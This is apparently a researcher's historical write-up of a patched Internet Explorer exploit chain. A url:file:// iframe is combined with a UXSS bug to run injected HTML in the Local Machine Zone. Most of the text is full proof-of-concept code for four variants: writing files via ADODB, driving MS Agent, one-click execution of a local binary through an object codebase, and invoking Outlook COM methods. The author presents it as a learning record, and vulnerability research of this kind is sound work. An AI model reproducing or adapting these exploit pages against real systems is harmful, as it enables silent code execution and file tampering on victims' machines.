This was a combination of two separate issues working together. First: IE accepted url:file:// as a valid iframe source, which loaded local files into an iframe from an internet-zone page. Second: a UXSS bug (WOOBR #953750) let us inject HTML into that local-file iframe. Once our code was running inside the Local Machine Zone context, a number of things became possible — reading and writing files with ADODB, invoking the MS Agent character, launching executables via codebase, and accessing Outlook COM objects.
<!-- index.html: entry point listing the four attack variants -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><title>XAML Frame and URL File combo</title></head>
<body>
<center>
<font face="Tahoma" size="2">
<a href="outlook/index.xaml">Outlook Control</a> <br /><br />
<a href="msagent/index.xaml">MS Agent</a> <br /><br />
<a href="oneclickrce/index.xaml">One Click RCE</a> <br /><br />
<a href="adodb/index.xaml">AdoDb write file to disk</a> <br /><br />
</font>
</center>
</body>
</html>
ADODB: Write a File to Disk
<!-- adodb/framedxaml.html -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>XAML_URLFILE_COMBO</title></head>
<body>
<!--
This IFRAME has nothing inside. It is here just to help with the crossDomain [WOOBR bug #953750]
-->
<iframe name="ifr" style="display:none;" onload="ifr.document.body.setCapture();"></iframe>
<textarea id="htmlToInject" style="display:none">
<center>
<iframe name="testFolder" src="" style="width:500px;height:300px;border:ridge;"></iframe><br />
<script defer>
function showLocalFolder(url)
{
testFolder.location = url;
}
function writeFile()
{
var cn = new ActiveXObject('ADODB.Connection');
var rs = new ActiveXObject('ADODB.Recordset');
var PathtoTextFile = 'c:\\testDirectory\\';
var FileName = 'originalFile.txt';
try{
cn.Open('Provider=Microsoft.Jet.OLEDB.4.0;Data Source='+PathtoTextFile+';Extended Properties= "text;HDR=YES;FMT=Delimited"');
rs.Open( 'select * from ' +FileName, cn);
rs.Save("c:\\testDirectory\\newFile.txt", 1);
rs.close();
}
catch (e){
alert (e.message);
cn.Close ();
}
}
</script>
<font face="Tahoma" size="2">We have are using the ADODB.Connection and Recordset to write a local file.</font><br /><br />
<input type="button" value="Change IFRAME URL" onclick="showLocalFolder(document.all.iframeURL.value)">
<input id="iframeURL" type="text" value="c:\"><br /><br />
<input type="button" value="WriteFile" onclick="writeFile()">
<center>
</textarea>
<center>
<font face="Tahoma" size="2"><b>Click inside the IFRAME below</b></font><br />
<iframe src="url:file://c:/windows/system32/drivers/etc/hosts" width="660" height="460"></iframe>
</center>
<script language="JavaScript">
// We are using a crossDomain [WOOBR bug #953750] here to inject code in the local IFRAME. Any crossDomain will work fine.
var xDocument;
ifr.document.onclick = function()
{
ifr.document.onclick = null;
ifr.document.body.releaseCapture();
xDocument = ifr.event.srcElement.ownerDocument.all[0].Document;
xDocument.body.innerHTML = document.getElementById('htmlToInject').value;
}
</script>
</body>
</html>
MS Agent
<!-- msagent/framedxaml.html -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>XAML_URLFILE_COMBO</title></head>
<body>
<iframe name="ifr" style="display:none;" onload="ifr.document.body.setCapture();"></iframe>
<textarea id="htmlToInject" style="display:none">
<object id="agentCtrl" width="0" height="0" classid="clsid:d45fd31b-5c6e-11d1-9ec1-00c04fd7081f" codebase="#VERSION=2,0,0,0"></object>
<script defer>
function showAgent()
{
agentCtrl.Connected = true;
loadR = agentCtrl.Characters.Load("Char");
Char = agentCtrl.Characters.Character("Char");
Char.MoveTo(500,200);
Char.Show();
Char.Speak("Hello! I am here thanks to multiple bugs: framed Xaml, url:file:// and any crossDomain");
Char.MoveTo(550,250);
Char.Think("What is this guy looking at?");
}
setTimeout('showAgent()',1000);
</script>
<font face="Tahoma" size="2">We have access to the MS AGENT object and its methods.</font><br /><br />
<input type="button" value="Hide" onclick="Char.Hide()">
<input type="button" value="Show" onclick="Char.Show()">
</textarea>
<center>
<iframe src="url:file://c:/windows/system32/drivers/etc/hosts" width="660" height="460"></iframe>
</center>
<script language="JavaScript">
var xDocument;
ifr.document.onclick = function()
{
ifr.document.onclick = null;
ifr.document.body.releaseCapture();
xDocument = ifr.event.srcElement.ownerDocument.all[0].Document;
xDocument.body.innerHTML = document.getElementById('htmlToInject').value;
}
</script>
</body>
</html>
One-Click RCE via Object codebase
<!-- oneclickrce/framedxaml.html -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>XAML_URLFILE_COMBO</title></head>
<body>
<iframe name="ifr" style="display:none;" onload="ifr.document.body.setCapture();"></iframe>
<textarea id="htmlToInject" style="display:none">
<font face="Tahoma" size="2">
< object classid="clsid:aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" codebase="c:/windows/system32/calc.exe" style="width:10px;height:10px;" >< /object >
<br /><br />
</font>
<object classid="clsid:aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" codebase="c:/windows/system32/calc.exe" style="width:10px;height:10px;"></object>
</textarea>
<center>
<iframe src="url:file://c:/windows/system32/drivers/etc/hosts" width="660" height="460"></iframe>
</center>
<script language="JavaScript">
var xDocument;
ifr.document.onclick = function()
{
ifr.document.onclick = null;
ifr.document.body.releaseCapture();
xDocument = ifr.event.srcElement.ownerDocument.all[0].Document;
xDocument.body.innerHTML = document.getElementById('htmlToInject').value;
}
</script>
</body>
</html>
Outlook COM Object
<!-- outlook/framedxaml.html -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>XAML_URLFILE_COMBO</title></head>
<body>
<iframe name="ifr" style="display:none;" onload="ifr.document.body.setCapture();"></iframe>
<textarea id="htmlToInject" style="display:none">
<center>
<object id="clsObj" classid="clsid:0006F063-0000-0000-C000-000000000046" width="600" height="200"></object><br /><br />
<font face="Tahoma" size="2">We have access to the object and many of its methods. Let's try a few of them:</font><br /><br />
<input type="button" value="Open" onclick="clsObj.Open()">
<input type="button" value="Reply" onclick="clsObj.Reply()">
<input type="button" value="MoveItem" onclick="clsObj.MoveItem()">
<input type="button" value="Print" onclick="clsObj.PrintItem()">
<input type="button" value="NewForm" onclick="clsObj.NewForm()">
<input type="button" value="NewContact" onclick="clsObj.NewContact()">
<center>
</textarea>
<center>
<iframe src="url:file://c:/windows/system32/drivers/etc/hosts" width="660" height="460"></iframe>
</center>
<script language="JavaScript">
var xDocument;
ifr.document.onclick = function()
{
ifr.document.onclick = null;
ifr.document.body.releaseCapture();
xDocument = ifr.event.srcElement.ownerDocument.all[0].Document;
xDocument.body.innerHTML = document.getElementById('htmlToInject').value;
}
</script>
</body>
</html>
The attack chain required just one click inside the local-file iframe. After that single click, the UXSS bug let us replace the entire local iframe document with our injected HTML. From that Local Zone context, codebase pointing to a local executable would launch it silently, ADODB could write arbitrary files, the MS Agent character could be instantiated and made to speak, and full Outlook COM methods were available. It was a good illustration of how two separately-rated bugs could chain into something much more serious.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.